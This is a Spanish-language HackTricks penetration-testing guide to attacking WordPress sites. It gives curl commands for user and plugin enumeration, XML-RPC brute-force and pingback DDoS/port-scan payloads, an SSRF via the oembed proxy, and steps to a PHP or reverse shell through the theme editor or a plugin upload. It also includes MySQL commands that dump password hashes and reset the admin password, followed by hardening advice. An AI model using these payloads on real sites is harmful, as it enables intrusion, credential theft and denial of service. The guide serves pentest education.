21 KiB
Wordpress
Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén el oficial PEASS & HackTricks swag
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud en GitHub.
Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo.
¡Accede hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Información Básica
Los archivos subidos van a: http://10.10.10.10/wp-content/uploads/2018/08/a.txt
Los archivos de temas se pueden encontrar en /wp-content/themes/, por lo que si cambias algún php del tema para obtener RCE probablemente uses esa ruta. Por ejemplo: Usando el tema twentytwelve puedes acceder al archivo 404.php en: /wp-content/themes/twentytwelve/404.php
Otra URL útil podría ser: /wp-content/themes/default/404.php
En wp-config.php puedes encontrar la contraseña raíz de la base de datos.
Rutas de inicio de sesión predeterminadas para verificar: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Archivos Principales de WordPress
index.php
license.txt
contiene información útil como la versión de WordPress instalada.wp-activate.php
se utiliza para el proceso de activación por correo electrónico al configurar un nuevo sitio de WordPress.- Carpetas de inicio de sesión (pueden ser renombradas para ocultarlas):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
es un archivo que representa una característica de WordPress que permite transmitir datos con HTTP actuando como mecanismo de transporte y XML como mecanismo de codificación. Este tipo de comunicación ha sido reemplazado por la API REST de WordPress.- La carpeta
wp-content
es el directorio principal donde se almacenan los plugins y temas. wp-content/uploads/
es el directorio donde se almacenan los archivos subidos a la plataforma.wp-includes/
Este es el directorio donde se almacenan los archivos principales, como certificados, fuentes, archivos JavaScript y widgets.wp-sitemap.xml
En las versiones de Wordpress 5.5 y superiores, Wordpress genera un archivo XML de mapa del sitio con todas las publicaciones públicas y tipos de publicaciones y taxonomías públicamente consultables.
Explotación Post
- El archivo
wp-config.php
contiene la información requerida por WordPress para conectarse a la base de datos, como el nombre de la base de datos, el host de la base de datos, el nombre de usuario y la contraseña, claves de autenticación y sales, y el prefijo de la tabla de la base de datos. Este archivo de configuración también se puede utilizar para activar el modo DEBUG, que puede ser útil para solucionar problemas.
Permisos de Usuarios
- Administrador
- Editor: Publica y gestiona sus propias publicaciones y las de otros.
- Autor: Publica y gestiona sus propias publicaciones.
- Colaborador: Escribe y gestiona sus publicaciones pero no puede publicarlas.
- Suscriptor: Navega por las publicaciones y edita su perfil.
Enumeración Pasiva
Obtener la versión de WordPress
Verifica si puedes encontrar los archivos /license.txt
o /readme.html
Dentro del código fuente de la página (ejemplo de https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- Archivos de enlace CSS
- Archivos de JavaScript
Obtener Plugins
{% code overflow="wrap" %}
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Obtener Temas
{% code overflow="wrap" %}
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Extraer versiones en general
{% endcode %}
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
{% endcode %}
Utilice Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo.
Obtenga acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Enumeración activa
Plugins y Temas
Probablemente no podrás encontrar todos los Plugins y Temas posibles. Para descubrir todos ellos, necesitarás realizar un Brute Force activo en una lista de Plugins y Temas (afortunadamente, existen herramientas automatizadas que contienen estas listas).
Usuarios
ID Brute
Obtén usuarios válidos de un sitio de WordPress realizando un Brute Force en los IDs de usuarios:
curl -s -I -X GET http://blog.example.com/?author=1
Si las respuestas son 200 o 30X, eso significa que el id es válido. Si la respuesta es 400, entonces el id es inválido.
wp-json
También puedes intentar obtener información sobre los usuarios haciendo consultas:
curl http://blog.example.com/wp-json/wp/v2/users
Otro endpoint /wp-json/
que puede revelar información sobre los usuarios es:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Este endpoint solo expone a los usuarios que han realizado una publicación. Solo se proporcionará información sobre los usuarios que tengan esta función habilitada.
También ten en cuenta que /wp-json/wp/v2/pages podría filtrar direcciones IP.
Enumeración de nombres de usuario de inicio de sesión
Al iniciar sesión en /wp-login.php
el mensaje es diferente si el nombre de usuario indicado existe o no.
XML-RPC
Si xml-rpc.php
está activo, puedes realizar un ataque de fuerza bruta de credenciales o utilizarlo para lanzar ataques de denegación de servicio (DoS) a otros recursos. (Puedes automatizar este proceso usando esto por ejemplo).
Para verificar si está activo, intenta acceder a /xmlrpc.php y envía esta solicitud:
Check
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Fuerza bruta de credenciales
wp.getUserBlogs
, wp.getCategories
o metaWeblog.getUsersBlogs
son algunos de los métodos que se pueden utilizar para realizar fuerza bruta de credenciales. Si puedes encontrar alguno de ellos, puedes enviar algo como:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
El mensaje "Nombre de usuario o contraseña incorrectos" dentro de una respuesta de código 200 debería aparecer si las credenciales no son válidas.
![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
También hay una forma más rápida de probar credenciales usando system.multicall
ya que puedes intentar varias credenciales en la misma solicitud:
Burlar la autenticación de dos factores (2FA)
Este método está destinado para programas y no para humanos, y es antiguo, por lo tanto no es compatible con 2FA. Por lo tanto, si tienes credenciales válidas pero la entrada principal está protegida por 2FA, podrías abusar de xmlrpc.php para iniciar sesión con esas credenciales evitando el 2FA. Ten en cuenta que no podrás realizar todas las acciones que puedes hacer a través de la consola, pero aún podrías lograr RCE como lo explica Ippsec en https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS o escaneo de puertos
Si puedes encontrar el método pingback.ping en la lista, puedes hacer que Wordpress envíe una solicitud arbitraria a cualquier host/puerto.
Esto se puede utilizar para pedir a miles de sitios de Wordpress que accedan a una ubicación específica (causando un DDoS en esa ubicación) o puedes usarlo para hacer que Wordpress escanee alguna red interna (puedes indicar cualquier puerto).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
Si obtienes faultCode con un valor mayor que 0 (17), significa que el puerto está abierto.
Echa un vistazo al uso de system.multicall
en la sección anterior para aprender cómo abusar de este método para causar un DDoS.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
Este archivo suele existir en la raíz del sitio de Wordpress: /wp-cron.php
Cuando este archivo es accedido se realiza una consulta MySQL "pesada", por lo que podría ser utilizado por atacantes para causar un DoS.
Además, por defecto, el wp-cron.php
se llama en cada carga de página (cada vez que un cliente solicita cualquier página de Wordpress), lo que en sitios con mucho tráfico puede causar problemas (DoS).
Se recomienda deshabilitar Wp-Cron y crear una tarea cron real dentro del host que realice las acciones necesarias en un intervalo regular (sin causar problemas).
/wp-json/oembed/1.0/proxy - SSRF
Intenta acceder a https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net y el sitio de Wordpress puede hacer una solicitud hacia ti.
Esta es la respuesta cuando no funciona:
SSRF
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
Esta herramienta verifica si el methodName: pingback.ping y para la ruta /wp-json/oembed/1.0/proxy y si existen, intenta explotarlos.
Herramientas Automáticas
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Utilice Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo.
Obtenga acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Obtenga acceso sobrescribiendo un bit
Más que un ataque real, esto es una curiosidad. En el CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man podrías cambiar 1 bit de cualquier archivo de Wordpress. Así podrías cambiar la posición 5389
del archivo /var/www/html/wp-includes/user.php
para anular la operación NOT (!
).
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
Modificación de un archivo php del tema utilizado (se necesitan credenciales de administrador)
Apariencia → Editor de Temas → Plantilla 404 (a la derecha)
Cambiar el contenido por un shell php:
Busca en internet cómo puedes acceder a esa página actualizada. En este caso, debes acceder aquí: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Puedes usar:
use exploit/unix/webapp/wp_admin_shell_upload
Ejecución de código remoto a través de plugins
Plugin PHP
Puede ser posible subir archivos .php como un plugin.
Cree su puerta trasera en php utilizando, por ejemplo:
Luego agregue un nuevo plugin:
Suba el plugin y presione Instalar ahora:
Haga clic en Proceder:
Probablemente esto no haga nada aparentemente, pero si va a Medios, verá su shell subido:
Acceda a él y verá la URL para ejecutar la shell inversa:
Subir y activar un plugin malicioso
Este método implica la instalación de un plugin malicioso conocido por ser vulnerable y que puede ser explotado para obtener una shell web. Este proceso se realiza a través del panel de WordPress de la siguiente manera:
- Adquisición del Plugin: El plugin se obtiene de una fuente como Exploit DB como aquí.
- Instalación del Plugin:
- Navegue hasta el panel de WordPress, luego vaya a
Panel > Plugins > Subir Plugin
. - Suba el archivo zip del plugin descargado.
- Activación del Plugin: Una vez que el plugin se instala correctamente, debe ser activado a través del panel.
- Explotación:
- Con el plugin "reflex-gallery" instalado y activado, puede ser explotado ya que se sabe que es vulnerable.
- El framework Metasploit proporciona un exploit para esta vulnerabilidad. Cargando el módulo adecuado y ejecutando comandos específicos, se puede establecer una sesión de meterpreter, otorgando acceso no autorizado al sitio.
- Se destaca que este es solo uno de los muchos métodos para explotar un sitio de WordPress.
El contenido incluye ayudas visuales que representan los pasos en el panel de WordPress para instalar y activar el plugin. Sin embargo, es importante tener en cuenta que explotar vulnerabilidades de esta manera es ilegal e inmoral sin la autorización adecuada. Esta información debe ser utilizada de manera responsable y solo en un contexto legal, como pruebas de penetración con permiso explícito.
Para obtener pasos más detallados, consulte: https://www.hackingarticles.in/wordpress-reverse-shell/**
Post Explotación
Extraer nombres de usuario y contraseñas:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Cambiar contraseña de administrador:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Protección de WordPress
Actualizaciones regulares
Asegúrate de que WordPress, los plugins y los temas estén actualizados. También confirma que la actualización automática está habilitada en wp-config.php:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
También, solo instala plugins y temas de WordPress confiables.
Plugins de Seguridad
Otras Recomendaciones
- Elimina el usuario admin por defecto
- Utiliza contraseñas fuertes y 2FA
- Revisa periódicamente los permisos de los usuarios
- Limita los intentos de inicio de sesión para prevenir ataques de Fuerza Bruta
- Renombra el archivo
wp-admin.php
y solo permite el acceso internamente o desde ciertas direcciones IP.
Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo.
¡Accede hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén la merchandising oficial de PEASS & HackTricks
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.